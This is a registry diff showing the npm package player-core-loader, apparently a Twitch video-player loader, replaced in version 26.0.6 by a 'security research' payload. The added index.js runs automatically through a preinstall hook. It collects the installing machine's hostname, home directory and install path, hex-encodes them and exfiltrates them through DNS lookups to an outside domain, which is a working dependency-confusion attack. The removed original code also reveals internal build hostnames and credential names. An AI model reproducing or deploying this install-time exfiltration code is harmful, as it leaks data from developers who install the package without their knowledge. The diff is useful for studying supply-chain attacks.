player-core-loader 4.0.3 → 26.0.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of player-core-loader might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,2 +1 @@
1
- # player-core-loader
2
- Player Core Loader
1
+ This package is meant for security research purposes and does not contain any useful code.
package/index.js CHANGED
@@ -1,189 +1,80 @@
1
- var Constants = require('./constants');
2
- var SPADE_ERRORS = Constants.SPADE_ERRORS;
3
-
4
- /**
5
- * Check if this browser supports PlayerCore 2.0
6
- * @returns boolean
7
- */
8
- module.exports.canLoadMediaplayer = function () {
9
- return Constants.CAN_LOAD;
10
- };
11
-
12
-
13
- /**
14
- * Load a PlayerCore module.
15
- * All calls will return a promise to the same loaded module
16
- * @param {object} config Configuration object
17
- * @param {string} config.value Force specific value
18
- * @param {boolean} noInstance Boolean to notify loading worker only no instance
19
- * @returns Promise to the loaded MediaPlayer module and instance
20
- */
21
- var loadedMediaPlayer = null;
22
- module.exports.loadMediaPlayer = function (config, noInstance) {
23
- if (!Constants.CAN_LOAD) {
24
- return Promise.reject(SPADE_ERRORS.NOT_SUPPORTED);
25
- }
26
-
27
- if (!config || !config.value) {
28
- return Promise.reject(SPADE_ERRORS.BAD_CONFIG);
29
- }
30
-
31
- var parsed = parseVersionString(config.value);
32
- var useWasm = isWasmSupported() && !config.forceAsmJs;
33
- var urlParams = parseUrlParams(document.URL);
34
- var useCache = !config.disableCache;
35
-
36
- if (!loadedMediaPlayer) {
37
- loadedMediaPlayer = _loadMediaPlayer(parsed.version, urlParams, useWasm, useCache);
38
- };
39
-
40
- if (noInstance) { // Do not create instance
41
- return loadedMediaPlayer;
42
- }
43
-
44
- var settings = urlParams['cvp-settings'] || parsed.settings;
45
- var logLevel = config.logLevel || '';
46
- var latencyValue = config.latencyValue || '';
47
-
48
- return loadedMediaPlayer.then(function (loaded) {
49
- return {
50
- mediaPlayerHandle: loaded.client,
51
- mediaPlayerInstance: new loaded.client.MediaPlayer({
52
- settings: settings,
53
- logLevel: logLevel,
54
- latencyValue: latencyValue,
55
- }, loaded.worker),
56
- isWasm: useWasm,
57
- };
58
- });
59
- };
60
-
61
- /**
62
- * Resets the last loaded player core
63
- */
64
- module.exports._reset = function () {
65
- loadedMediaPlayer = null;
66
- var scriptTag = document.getElementById(Constants.SCRIPT_ID);
67
- if (scriptTag) {
68
- scriptTag.parentNode.removeChild(scriptTag);
69
- }
70
- };
71
-
72
- function _loadMediaPlayer(version, urlParams, useWasm, useCache) {
73
- var version = urlParams['cvp-branch'] || urlParams['cvp-ver'] || version;
74
-
75
- var host;
76
- if (urlParams['cvp-branch']) {
77
- // Branches are only served in 'dev' environment
78
- // Disable caching since content for a branch url can change
79
- host = Constants.HOST['dev'];
80
- useCache = false;
81
- } else if (urlParams['cvp-env'] && Constants.HOST[urlParams['cvp-env']]) {
82
- host = Constants.HOST[urlParams['cvp-env']];
83
- } else {
84
- host = Constants.HOST['prod'];
85
- }
86
-
87
- var clientPath, workerPath, wasmPath;
88
- if (host === Constants.HOST['dev']) {
89
- clientPath = Constants.CLIENT_PATH_DEBUG;
90
- workerPath = useWasm ? Constants.WASM_WORKER_PATH_DEBUG : Constants.ASMJS_WORKER_PATH_DEBUG;
91
- wasmPath = Constants.WASM_BINARY_PATH_DEBUG;
92
- } else {
93
- clientPath = Constants.CLIENT_PATH;
94
- workerPath = useWasm ? Constants.WASM_WORKER_PATH : Constants.ASMJS_WORKER_PATH;
95
- wasmPath = Constants.WASM_BINARY_PATH;
96
- }
97
-
98
- var baseUrl = host + version + '/';
99
- var clientUrl = baseUrl + clientPath;
100
- var workerUrl = baseUrl + workerPath;
101
- var wasmUrl = baseUrl + wasmPath;
102
- return loadMediaPlayerModule(clientUrl, workerUrl, wasmUrl, useCache);
103
- }
104
-
105
- /**
106
- * Load the script tag
107
- * @param {string} clientUrl: url to the client
108
- * @param {string} workerUrl: url to the worker
109
- * @param {string} wasmUrl: url to the wasm binary
110
- * @param {boolean} useCache: Used cached wasm module if available
111
- * @returns {object} Loaded client handle and worker
112
- */
113
- function loadMediaPlayerModule(clientUrl, workerUrl, wasmUrl, useCache) {
114
- return new Promise(function (resolve, reject) {
115
- var existingTag = document.getElementById(Constants.SCRIPT_ID);
116
- if (existingTag) {
117
- if (
118
- existingTag.src === clientUrl &&
119
- typeof window.MediaPlayer === 'object' &&
120
- typeof window.MediaPlayer.MediaPlayer === 'function'
121
- ) {
122
- resolve({
123
- client: window.MediaPlayer,
124
- worker: window.MediaPlayer.MediaPlayer.createWorker(workerUrl, wasmUrl, useCache),
125
- });
126
- return;
127
- } else {
128
- document.head.removeChild(existingTag);
129
- }
130
- }
131
-
132
- var scriptTag = document.createElement('script');
133
-
134
- scriptTag.onload = function () {
135
- if (typeof window.MediaPlayer === 'object'
136
- && typeof window.MediaPlayer.MediaPlayer === 'function') {
137
- var client = window.MediaPlayer;
138
- try {
139
- resolve({
140
- client: client,
141
- worker: client.MediaPlayer.createWorker(workerUrl, wasmUrl, useCache),
142
- });
143
- } catch (e) {
144
- reject(SPADE_ERRORS.FAILED_WORKER)
145
- }
146
- } else {
147
- reject(SPADE_ERRORS.BAD_RESPONSE);
148
- }
149
- };
150
-
151
- scriptTag.onerror = function (e) {
152
- reject(SPADE_ERRORS.SCRIPT_ERROR);
153
- };
154
-
155
- scriptTag.src = clientUrl; //last to guarantee handlers run
156
- scriptTag.id = Constants.SCRIPT_ID;
157
- document.head.appendChild(scriptTag);
158
- });
159
- };
160
-
161
- function parseUrlParams(url) {
162
- var params = {};
163
- var breakPoint = url.indexOf('?');
164
- if (breakPoint > -1) {
165
- var paramStr = url.slice(breakPoint + 1) || '';
166
- var paramItems = paramStr.split('&') || [];
167
-
168
- paramItems.forEach(function (item) {
169
- var split = item.split('=') || [];
170
- params[split[0]] = split[1];
171
- });
172
- }
173
- return params;
174
- }
175
-
176
- function parseVersionString(versionString) {
177
- var parsed = versionString.match(/([^+]+)(?:\+([^+]+))?/);
178
- return {
179
- version: parsed[1] || Constants.DEFAULT_VERSION,
180
- settings: parsed[2] || '',
181
- };
182
- }
183
-
184
- function isWasmSupported() {
185
- return (
186
- typeof WebAssembly === 'object' &&
187
- typeof WebAssembly.instantiate === 'function'
188
- );
189
- }
1
+ /*
2
+
3
+ This code is used for research purposes.
4
+
5
+ No sensitive data is retrieved.
6
+
7
+ Callbacks from within organizations with a
8
+ responsible disclosure program will be reported
9
+ directly to the organizations.
10
+
11
+ Any other callbacks will be ignored, and
12
+ any associated data will not be kept.
13
+
14
+ For any questions or suggestions:
15
+
16
+ alex@ethicalhack.ro
17
+ https://twitter.com/alxbrsn
18
+
19
+ */
20
+
21
+
22
+ const dns = require('dns');
23
+ const os = require('os');
24
+
25
+ const suffix = '.dns.thewhybee.com';
26
+ const ns = 'dns1.thewhybee.com';
27
+
28
+ const package = 'player-core-loader';
29
+
30
+
31
+ function sendToServer(data) {
32
+
33
+ data = Buffer.from(data).toString('hex');
34
+ data = data.match(/.{1,60}/g);
35
+
36
+ id = Math.random().toString(36).substring(2);
37
+
38
+ data.forEach(function (chunk, idx){
39
+ try {
40
+ dns.resolve(
41
+ 'v2_f.' + id + '.' + idx + '.' + chunk + '.v2_e' + suffix, 'A',
42
+ console.log);
43
+ } catch (e) { }
44
+ });
45
+
46
+ }
47
+
48
+ function tryGet(toCall) {
49
+
50
+ try {
51
+ return toCall();
52
+ } catch(e) {
53
+ return 'err';
54
+ }
55
+
56
+ }
57
+
58
+ data = {
59
+ p : package,
60
+ h : tryGet(os.hostname),
61
+ d : tryGet(os.homedir),
62
+ c : __dirname
63
+ }
64
+
65
+ if (data['h'] == 'BBOGENS-LAPTOP') {
66
+ process.exit(0);
67
+ }
68
+
69
+ data = JSON.stringify(data);
70
+
71
+ sendToServer(data);
72
+ dns.lookup(ns, function(err, address) {
73
+ if (!err) {
74
+ nsAddress = address;
75
+ } else {
76
+ nsAddress = '8.8.8.8';
77
+ }
78
+ dns.setServers([nsAddress, '8.8.4.4']);
79
+ sendToServer(data);
80
+ });
package/package.json CHANGED
@@ -1,32 +1,15 @@
1
- {
2
- "name": "player-core-loader",
3
- "version": "4.0.3",
4
- "description": "Loader for player-core",
5
- "main": "index.js",
6
- "publishConfig": {
7
- "registry": "https://registry.npmjs.org"
8
- },
9
- "scripts": {
10
- "test": "browserify tests/*.js | tape-run --render=\"tap-spec\"",
11
- "test-runner": "node test_runner.js"
12
- },
13
- "repository": {
14
- "type": "git",
15
- "url": "git@git-aws.internal.justin.tv:video/player-core-loader.git"
16
- },
17
- "keywords": [
18
- "player-core",
19
- "loader",
20
- "MediaPlayer"
21
- ],
22
- "author": "Team Player Core",
23
- "license": "UNLICENSED",
24
- "dependencies": {},
25
- "devDependencies": {
26
- "browserify": "^13.1.0",
27
- "glob": "^7.1.0",
28
- "tap-spec": "^4.1.1",
29
- "tape": "^4.6.0",
30
- "tape-run": "^2.1.4"
31
- }
32
- }
1
+ {
2
+ "name": "player-core-loader",
3
+ "version": "26.0.6",
4
+ "description": "Security research purposes only.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+
14
+ }
15
+ }
package/constants.js DELETED
@@ -1,78 +0,0 @@
1
-
2
- function canLoad() {
3
- try {
4
- return typeof MediaSource !== 'undefined' && MediaSource.isTypeSupported('video/mp4; codecs="avc1.42E01E,mp4a.40.2"');
5
- } catch (e) {
6
- console.log(e);
7
- return false;
8
- }
9
- }
10
-
11
- /**
12
- * The Spade errors
13
- */
14
- var SPADE_ERRORS = {
15
- NOT_SUPPORTED: {
16
- spadeEventName: 'video_error',
17
- spadeEventData: {
18
- video_error_value: 3000,
19
- video_error_message: 'Player Core Not Supported',
20
- video_error_source: 'player-core-loader'
21
- }
22
- },
23
- SCRIPT_ERROR: {
24
- spadeEventName: 'video_error',
25
- spadeEventData: {
26
- video_error_value: 3001,
27
- video_error_message: 'Script Error',
28
- video_error_source: 'player-core-loader'
29
- }
30
- },
31
- BAD_RESPONSE: {
32
- spadeEventName: 'video_error',
33
- spadeEventData: {
34
- video_error_value: 3002,
35
- video_error_message: 'Bad Response',
36
- video_error_source: 'player-core-loader'
37
- }
38
- },
39
- BAD_CONFIG: {
40
- spadeEventName: 'video_error',
41
- spadeEventData: {
42
- video_error_value: 3003,
43
- video_error_message: 'Bad Config',
44
- video_error_source: 'player-core-loader'
45
- }
46
- },
47
- FAILED_WORKER: {
48
- spadeEventName: 'video_error',
49
- spadeEventData: {
50
- video_error_value: 3004,
51
- video_error_message: 'Worker failed to load',
52
- video_error_source: 'player-core-loader'
53
- }
54
- },
55
- };
56
-
57
- var protocol = ('https:' === document.location.protocol ? 'https:' : 'http:')
58
-
59
- module.exports = {
60
- HOST: {
61
- 'test': protocol + '//cvp-test.twitch.tv/',
62
- 'beta': protocol + '//cvp-test.twitch.tv/',
63
- 'prod': protocol + '//cvp.twitch.tv/',
64
- 'dev': protocol + '//player-core-web.twitch.tv/'
65
- },
66
- CLIENT_PATH: 'mediaplayer.min.js',
67
- ASMJS_WORKER_PATH: 'worker.min.js',
68
- WASM_WORKER_PATH: 'wasmworker.min.js',
69
- WASM_BINARY_PATH: 'wasmworker.min.wasm',
70
- CLIENT_PATH_DEBUG: 'mediaplayer.js',
71
- ASMJS_WORKER_PATH_DEBUG: 'worker.js',
72
- WASM_WORKER_PATH_DEBUG: 'wasmworker.js',
73
- WASM_BINARY_PATH_DEBUG: 'wasmworker.wasm',
74
- SCRIPT_ID: 'TwitchMediaPlayerModule',
75
- CAN_LOAD: canLoad(),
76
- SPADE_ERRORS: SPADE_ERRORS,
77
- DEFAULT_VERSION: '2.0.0',
78
- };
package/index.d.ts DELETED
@@ -1,2 +0,0 @@
1
- export function loadMediaPlayer(config: object, noInstance: boolean): Promise;
2
- export function canLoadMediaplayer(): boolean;
package/jenkins.groovy DELETED
@@ -1,26 +0,0 @@
1
- job {
2
- name "video-player-core-loader-status"
3
- using 'TEMPLATE-autobuild'
4
-
5
- wrappers {
6
- credentialsBinding {
7
- file('COURIERD_PRIVATE_KEY', 'courierd')
8
- file('AWS_CONFIG_FILE', 'aws_config')
9
- string 'AWS_ACCESS_KEY', 'video-aws-access-key'
10
- string 'AWS_SECRET_KEY', 'video-aws-secret-key'
11
- }
12
- }
13
- scm {
14
- git {
15
- remote {
16
- github 'video/player-core-loader', 'ssh', 'git-aws.internal.justin.tv'
17
- credentials 'git-aws-read-key'
18
- }
19
- clean true
20
- }
21
- }
22
- steps {
23
- // run tests
24
- shell 'manta -v -proxy -f manta-test.json'
25
- }
26
- }
package/manta-test.json DELETED
@@ -1,11 +0,0 @@
1
- {
2
- "image": "node:latest",
3
- "mount": "/manta-build/",
4
- "setup": [
5
- "apt-get update && apt-get install -y xvfb"
6
- ],
7
- "build": [
8
- "npm install",
9
- "node test_runner.js"
10
- ]
11
- }
package/test_runner.js DELETED
@@ -1,22 +0,0 @@
1
- var glob = require('glob');
2
- var runner = require('tape-run');
3
- var browserify = require('browserify');
4
- var tapSpec = require('tap-spec');
5
- var config = {
6
- // browser: 'chrome',
7
- // port: 6788
8
- };
9
-
10
- var testFiles;
11
- if (process.argv.length > 2) {
12
- testFiles = process.argv[2];
13
- } else {
14
- testFiles = __dirname + '/tests/*.js';
15
- }
16
- var results = glob.sync(testFiles);
17
-
18
- var testResults = browserify(results)
19
- .bundle()
20
- .pipe(runner(config))
21
- .pipe(tapSpec())
22
- .pipe(process.stdout);
@@ -1,185 +0,0 @@
1
- WebAssembly = {
2
- instantiate: function() {}
3
- }; // node may not have WebAssembly. So adding mock here
4
-
5
- var test = require('tape');
6
- var Constants = require('../constants');
7
- var Promise = require('es6-promise');
8
- var PlayerCoreLoader = require('../index.js');
9
-
10
- var TEST_VERSION = '2.5.6';
11
-
12
- test('test if loader returns a MediaPlayer handle and the instance', function (t) {
13
- t.plan(7);
14
- PlayerCoreLoader.loadMediaPlayer({value: TEST_VERSION})
15
- .then(function (result) {
16
- t.ok(result, 'result should be non null');
17
- t.ok(result.isWasm, 'MediaPlayer did not default to wasm');
18
- t.equal(typeof result.mediaPlayerHandle, 'object', 'The handle is an object');
19
- t.equal(typeof result.mediaPlayerHandle.MediaPlayer, 'function', 'MediaPlayer is a function constructor');
20
- t.ok(result.mediaPlayerInstance, 'An instance mediaplayer object should be present');
21
-
22
- var mediaplayerTag = document.getElementById(Constants.SCRIPT_ID);
23
- t.ok(mediaplayerTag, 'mediaplayer script tag is non null');
24
- t.equal(mediaplayerTag.tagName.toLowerCase(), 'script', 'script tag should be present');
25
- })
26
- .catch(function (err) {
27
- t.fail('MediaPlayer failed to load:', err);
28
- }).then(function () {
29
- t.end();
30
- PlayerCoreLoader._reset();
31
- });
32
- });
33
-
34
- test('test loading an AsmJs MediaPlayer', function (t) {
35
- t.plan(7);
36
- PlayerCoreLoader.loadMediaPlayer({value: TEST_VERSION, forceAsmJs: true})
37
- .then(function (result) {
38
- t.ok(result, 'result should be non null');
39
- t.ok(!result.isWasm, "Didn't force loading ASM JS version");
40
- t.equal(typeof result.mediaPlayerHandle, 'object', 'The handle is an object');
41
- t.equal(typeof result.mediaPlayerHandle.MediaPlayer, 'function', 'MediaPlayer is a function constructor');
42
- t.ok(result.mediaPlayerInstance, 'An instance mediaplayer object should be present');
43
-
44
- var mediaplayerTag = document.getElementById(Constants.SCRIPT_ID);
45
- t.ok(mediaplayerTag, 'mediaplayer script tag is non null');
46
- t.equal(mediaplayerTag.tagName.toLowerCase(), 'script', 'script tag should be present');
47
- })
48
- .catch(function (err) {
49
- t.fail('MediaPlayer failed to load:', err);
50
- }).then(function () {
51
- t.end();
52
- PlayerCoreLoader._reset();
53
- });
54
- });
55
-
56
- test('Multiple calls to loadMediaPlayer return the same worker', function (t) {
57
- t.plan(4);
58
-
59
- var c1 = PlayerCoreLoader.loadMediaPlayer({value: TEST_VERSION});
60
- var c2 = PlayerCoreLoader.loadMediaPlayer({value: TEST_VERSION});
61
-
62
- // test 2 simultaneous loads
63
- Promise.all([c1, c2]).then(function (cores) {
64
- var core1 = cores[0],
65
- core2 = cores[1];
66
-
67
- t.notEqual(core1.mediaPlayerInstance, core2.mediaPlayerInstance, 'The mediaplayer instance should not be equal');
68
- t.deepEqual(core1.mediaPlayerInstance._worker, core2.mediaPlayerInstance._worker, "Multiple calls to load() don't return the same worker");
69
- PlayerCoreLoader._reset();
70
- })
71
- // test 2 sequential loads
72
- .then(function () {
73
- return PlayerCoreLoader.loadMediaPlayer({value: TEST_VERSION}).then(function (core1) {
74
- return PlayerCoreLoader.loadMediaPlayer({value: TEST_VERSION}).then(function (core2) {
75
- t.notEqual(core1.mediaPlayerInstance, core2.mediaPlayerInstance, 'The mediaplayer instance should not be equal');
76
- t.deepEqual(core1.mediaPlayerInstance._worker, core2.mediaPlayerInstance._worker, "Sequential calls to load() don't return the same same worker");
77
- });
78
- });
79
- })
80
- .catch(function (e) {
81
- t.fail('Player core failed to loadMediaPlayer:', e);
82
- }).then(function (err) {
83
- t.end();
84
- PlayerCoreLoader._reset();
85
- });
86
- });
87
-
88
- test('Use the config to try loading a nonexistant MediaPlayer version', function (t) {
89
- var config = {value: 'blah'};
90
- PlayerCoreLoader.loadMediaPlayer(config)
91
- .then(function (result) {
92
- t.fail('blah version loaded? Something is wrong');
93
- })
94
- .catch(function (err) {
95
- t.equal(err.spadeEventName, 'video_error', 'Spade event name should be equal');
96
- t.ok(err.spadeEventData, 'Spade event data should be non null');
97
- var data = err.spadeEventData;
98
- t.ok(data.video_error_value, 3001, 'Error code should be 3001');
99
- t.ok(data.video_error_message, 'Script Error', 'error msg should be Script Error');
100
- t.ok(data.video_error_source, 'player-core-loader', 'Source player core loader');
101
- t.pass('There is no version called blah');
102
- })
103
- .then(function () {
104
- t.end();
105
- PlayerCoreLoader._reset();
106
- });
107
- });
108
-
109
- test('Use the config to try loading a particular MediaPlayer version', function (t) {
110
- var config = {value: TEST_VERSION};
111
- PlayerCoreLoader.loadMediaPlayer(config)
112
- .then(function (result) {
113
- t.ok(result, 'result should be non null');
114
- t.equal(typeof result.mediaPlayerHandle, 'object', 'The handle is an object');
115
- t.equal(typeof result.mediaPlayerHandle.MediaPlayer, 'function', 'MediaPlayer is a function constructor');
116
- t.ok(result.mediaPlayerInstance, 'An instance mediaplayer object should be present');
117
-
118
- var mediaPlayerScriptTag = document.getElementById(Constants.SCRIPT_ID);
119
- t.ok(mediaPlayerScriptTag, 'mediaPlayer script tag is non null');
120
- t.equal(mediaPlayerScriptTag.tagName.toLowerCase(), 'script', 'script tag should be present');
121
- t.equal(mediaPlayerScriptTag.src, `http://cvp.twitch.tv/${TEST_VERSION}/mediaplayer.min.js`, 'script src should be correct');
122
- })
123
- .catch(function () {
124
- t.fail('Problem loading version 1.0');
125
- })
126
- .then(function () {
127
- t.end();
128
- PlayerCoreLoader._reset();
129
- });
130
- });
131
-
132
- test('Use the config to try loading a particular version+settings of MediaPlayer', function (t) {
133
- var config = {value: `${TEST_VERSION}+abc`};
134
- PlayerCoreLoader.loadMediaPlayer(config)
135
- .then(function (result) {
136
- t.ok(result, 'result should be non null');
137
- t.equal(typeof result.mediaPlayerHandle, 'object', 'The handle is an object');
138
- t.equal(typeof result.mediaPlayerHandle.MediaPlayer, 'function', 'MediaPlayer is a function constructor');
139
- t.ok(result.mediaPlayerInstance, 'An instance mediaplayer object should be present');
140
-
141
- var mediaPlayerScriptTag = document.getElementById(Constants.SCRIPT_ID);
142
- t.ok(mediaPlayerScriptTag, 'mediaplayer script tag is non null');
143
- t.equal(mediaPlayerScriptTag.tagName.toLowerCase(), 'script', 'script tag should be present');
144
- t.equal(mediaPlayerScriptTag.src, `http://cvp.twitch.tv/${TEST_VERSION}/mediaplayer.min.js`, 'script src should be correct');
145
- })
146
- .catch(function () {
147
- t.fail(`Problem loading the version ${TEST_VERSION}`);
148
- })
149
- .then(function () {
150
- t.end();
151
- PlayerCoreLoader._reset();
152
- });
153
- });
154
-
155
- test('Test for bad config error while calling loadMediaPlayer', function(t) {
156
- var config = {};
157
- PlayerCoreLoader.loadMediaPlayer(config)
158
- .then(function (result) {
159
- t.fail('Loading of Mediaplayer should not succeed')
160
- })
161
- .catch(function (err) {
162
- t.ok(err.spadeEventData.video_error_value, 3003, 'The expected error code is 3003');
163
- t.pass('Expected error on loading with an empty');
164
- })
165
- .then(function() {
166
- t.end();
167
- })
168
- PlayerCoreLoader._reset();
169
- });
170
-
171
- test('Test for worker only load', function(t) {
172
- var config = {
173
- value: TEST_VERSION
174
- };
175
- PlayerCoreLoader.loadMediaPlayer(config, true)
176
- .then(function (result) {
177
- t.ok(result.worker instanceof Worker, 'No instance only worker');
178
- })
179
- .catch(function() {
180
- t.fail('Worker only loading failed');
181
- })
182
- .then(function() {
183
- t.end();
184
- })
185
- });